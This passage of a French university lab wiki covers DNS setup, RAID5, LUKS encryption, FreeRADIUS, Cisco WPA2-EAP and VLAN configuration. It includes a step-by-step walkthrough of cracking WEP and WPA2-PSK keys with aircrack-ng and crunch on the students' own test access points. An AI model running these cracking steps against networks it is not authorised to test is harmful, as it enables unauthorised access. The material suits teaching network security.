 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5 , c'est quoi ? '''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 '''Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.&lt;br /&gt;
 # nano /etc/fstab&lt;br /&gt;
 &lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 proc            /proc           proc    defaults        0       0&lt;br /&gt;
 devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0&lt;br /&gt;
 /dev/xvda1 none swap sw 0 0&lt;br /&gt;
 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1&lt;br /&gt;
 /dev/xvdb1		/home		ext4		defaults				0		2&lt;br /&gt;
 /dev/xvdb2		/var		ext4		defaults				0		2&lt;br /&gt;
 '''/dev/md0		/media/raid	ext4		defaults				0		1'''&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
